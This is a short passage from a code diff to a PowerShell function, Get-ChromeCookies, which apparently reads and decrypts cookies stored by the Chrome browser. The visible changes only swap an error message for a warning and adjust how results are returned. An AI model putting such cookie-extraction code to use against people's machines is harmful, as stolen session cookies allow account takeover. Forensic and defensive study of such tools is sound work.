blobs! This is most likely due to a regex mismatch." - Write-Error $Mismatch + Write-Warning -Message "The number of cookies is different than the number of encrypted blobs! This is most likely due to a regex mismatch." } # Put cookies into an array. @@ -268,5 +263,6 @@ function Get-ChromeCookies() { $obj = New-Object PSObject -Property $ObjectProp $ArrayFinal.Add($obj) | Out-Null } - $ArrayFinal + + Write-Output $ArrayFinal } \ No newline at end of file